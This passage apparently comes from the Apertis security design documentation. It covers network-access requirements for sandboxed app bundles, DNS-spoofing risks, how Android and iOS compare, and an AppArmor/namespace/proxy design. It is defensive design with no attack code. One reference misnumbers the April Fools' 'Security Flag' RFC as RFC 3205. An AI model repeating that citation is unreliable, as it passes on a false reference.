- 533 • As with the **Application without direct Internet access**, the platform must  
534 not allow that application bundle to send messages with attacker-chosen  
535 contents on Wi-Fi, Bluetooth or cellular networks via networking system  
536 calls such as `socket()`. This must be **recorded as a probable attack**.
  - 537 – If this requirement is not met, then confidentiality could be defeated  
538 by **passive network attacks**.
- 539 • As with the **Application without direct Internet access**, the platform must  
540 not allow that application bundle to send messages with attacker-chosen  
541 contents via inter-process communication with network management ser-  
542 vices such as BlueZ or ConnMan. This must be **recorded as a probable**  
543 **attack**.
  - 544 – If this requirement is not met, then confidentiality could be defeated  
545 by **passive network attacks**.

- 546 • The platform must not allow that application bundle to send messages  
547 with attacker-chosen contents *to domains outside the allowed set* via plat-  
548 form services that interact with the network, such as the Newport down-  
549 load manager. This must be **recorded as a probable attack**.  
550 – If this requirement is not met, then confidentiality could be defeated  
551 by **control of any server**.
- 552 • *Non-requirement:* The platform may prevent the application from sending  
553 messages with attacker-chosen contents to domains in the allowed set via  
554 services such as Newport, but unlike the **Application without direct Inter-**  
555 **net access** scenario, this is not required. For example, if the Twitter client  
556 in our example asks Newport to download a resource from `twimg.com`, this  
557 may be either allowed or denied.  
558 – *Rationale: Preventing this is not helpful, because the application could*  
559 *equally well send those messages itself.*
- 560 • Content handover and inter-process communication should be treated the  
561 same as for a **Application without direct Internet access**.

562 If unencrypted HTTP or FTP is used, we certainly cannot ensure confidentiality  
563 in the presence of an attacker who can perform **passive network attacks**, the same  
564 as for **Full Internet access**.

565 An attacker able to **alter traffic on the vehicle’s connection to the Internet**  
566 could attempt to defeat this mechanism by intercepting DNS queries to resolve  
567 hostnames in the allowed domains (for example `twitter.com`), and replying with  
568 “spoofed” DNS results indicating that the hostname resolves to an IP address  
569 under the attacker’s control.

- 570 • **Unresolved:** is this in-scope?
- 571 • If preventing this attack is in-scope, the application’s name resolution  
572 must fail.  
573 – **Unresolved:** **DNSSEC**<sup>33</sup> solves this, but is not widely-deployed.  
574 For example, `twitter.com` is an example of a major site that is not  
575 protected by DNSSEC.
- 576 • That attack must *not* be treated as **evidence that the application has been**  
577 **compromised**.  
578 – *Rationale: if it was, then an attacker could easily deny availability*  
579 *by spoofing DNS results for a popular application. Continuing the*  
580 *Twitter example, if the attacker spoofs DNS results for `twitter.com`,*  
581 *the Twitter client is unlikely to be able to retrieve new tweets, but the*  
582 *user should not be prevented from using the application to read old*  
583 *tweets, and the Twitter client must certainly not be blacklisted from*  
584 *the app store.*
- 585 • The solution must not rely on requiring the application process to validate  
586 TLS certificates. The certificate must either be validated in a different  
587 trust domain, or not relied upon.

<sup>33</sup>[https://en.wikipedia.org/wiki/Domain\\_Name\\_System\\_Security\\_Extensions](https://en.wikipedia.org/wiki/Domain_Name_System_Security_Extensions)



588           – *Rationale: the attacker’s code running in a compromised application*  
589           *could simply not validate the certificate.*

## 590 Other systems

591 Android [specifically does not support this scenario](#)<sup>34</sup>. Applications with the  
592 `INTERNET` permissions flag can contact any Internet host.

593 Similarly, iOS does not appear to support this scenario: as discussed in [Appli-](#)  
594 [cation without direct Internet access](#), all iOS apps can contact the network.

595 It is not clear whether iOS [App Transport Security](#)<sup>35</sup> is able to prevent unen-  
596 crypted HTTP operations by a compromised process. ATS does prevent acci-  
597 dental unencrypted HTTP operations when higher-level library functions are  
598 used, analogous to what would happen in Apertis if libsoup could be configured  
599 to forbid unencrypted HTTP. However, it is not clear from the public documen-  
600 tation whether iOS apps are able to bypass ATS by using lower-level system  
601 calls such as `socket ()`; if they are, then a compromised application could still  
602 send unencrypted HTTP requests. [Xamarin documentation](#)<sup>36</sup> describes the C#  
603 APIs `HttpWebRequest` and `WebServices` as unaffected by ATS, which suggests that  
604 lower-level system calls do indeed bypass ATS. This matches what we recom-  
605 mend

## 606 Design notes

607 Some OS features that could be useful to implement these requirements:

- 608     • Network namespaces (an aspect of containerization) can be used to prevent  
609     networking altogether. If an [Application without direct Internet access](#) or  
610     [Purely offline application](#) is contained in its own network namespace, it  
611     loses access to direct network sockets, but can still communicate with  
612     other processes via filesystem-backed IPC, for example D-Bus.
- 613     • AppArmor profiles (mandatory access control) can be used to prevent  
614     networking system calls such as `socket ()`. Policy violations are logged to  
615     the audit subsystem, which could be used as input to [Attack detection](#).
- 616     • AppArmor profiles (mandatory access control) can prevent an application  
617     from communicating with network management services such as BlueZ or  
618     ConnMan. Again, policy violations are logged to the audit subsystem.
- 619     • AppArmor profiles (mandatory access control) can prevent a [Purely of-](#)  
620     [fline application](#) from communicating with network-related services such  
621     as Newport, or peer applications and agents, via D-Bus. Again, policy  
622     violations are logged to the audit subsystem.

<sup>34</sup><https://groups.google.com/forum/#!topic/android-security-discuss/7Hqbhed8bZg>

<sup>35</sup>[https://developer.apple.com/library/ios/documentation/General/Reference/InfoPlistKeyReference/Articles/CocoaKeys.html#//apple\\_ref/doc/uid/TP40009251-SW33](https://developer.apple.com/library/ios/documentation/General/Reference/InfoPlistKeyReference/Articles/CocoaKeys.html#//apple_ref/doc/uid/TP40009251-SW33)

<sup>36</sup>[https://developer.xamarin.com/guides/ios/platform\\_features/introduction\\_to\\_ios9/ats/](https://developer.xamarin.com/guides/ios/platform_features/introduction_to_ios9/ats/)

- 623
- 624 • If an application is able to communicate with a network-related service  
625 such as Newport via D-Bus or another Unix-socket-based protocol, the  
626 network-related service could derive its [bundle ID](#)<sup>37</sup> from its AppArmor  
627 label, and use that to perform discretionary access control. **Attack detec-**  
628 **tion** would have to be done out-of-band, for example by having Newport  
send feedback to a privileged service.
  - 629 • For **Domain-limited Internet access** or **Internet access limited to common**  
630 **protocols**, if it is required, we could use AppArmor to forbid direct network-  
631 ing, and use a local SOCKS5, HTTP CONNECT or HTTPS CONNECT  
632 proxy; glib-networking provides automatic SOCKS5 and HTTP(S) proxy  
633 support for high-level GLib APIs. We would have to implement an Apertis-  
634 specific GProxyResolver module to make an out-of-band AF\_UNIX or D-  
635 Bus request to negotiate app-specific credentials for that proxy, because  
636 IP connections do not convey a user ID or AppArmor profile. This local  
637 proxy would be written or configured to allow only the requests that we  
638 want to allow.
    - 639 – Alternatively, if we modified glib-networking to add support for an  
640 Apertis-specific variation of SOCKS5 or HTTP(S) with the connec-  
641 tion to the proxy server made via an AF\_UNIX socket, then applica-  
642 tions contained in a network namespace could also use this technique,  
643 and we could use credentials-passing to get the user ID and AppAr-  
644 mor profile.

## 645 References

- 646 • [RFC 3205](#)<sup>38</sup>, “On the use of HTTP as a Substrate”, describes the problem  
647 of “protocol ossification”.
- 648 • [Ossification of the Internet](#)<sup>39</sup> may have coined the term.
- 649 • [Ossification: a result of not even trying?](#)<sup>40</sup> is a more recent document  
650 revisiting this issue.
- 651 • The April Fools’ Day [RFC 3205](#)<sup>41</sup>, “The Security Flag in the IPv4 Header”,  
652 alludes to the difficulties faced when attempting to distinguish between  
653 malicious and benign network traffic.

---

<sup>37</sup><https://jwd.pages.apertis.org/apertis-website/architecture/bundle-spec/#bundle-id>

<sup>38</sup><https://tools.ietf.org/html/rfc3205>

<sup>39</sup><http://www.scs.stanford.edu/nyu/04sp/notes/123.pdf>

<sup>40</sup>[https://www.iab.org/wp-content/IAB-uploads/2014/12/semi2015\\_welzl.pdf](https://www.iab.org/wp-content/IAB-uploads/2014/12/semi2015_welzl.pdf)

<sup>41</sup><https://tools.ietf.org/html/rfc3205>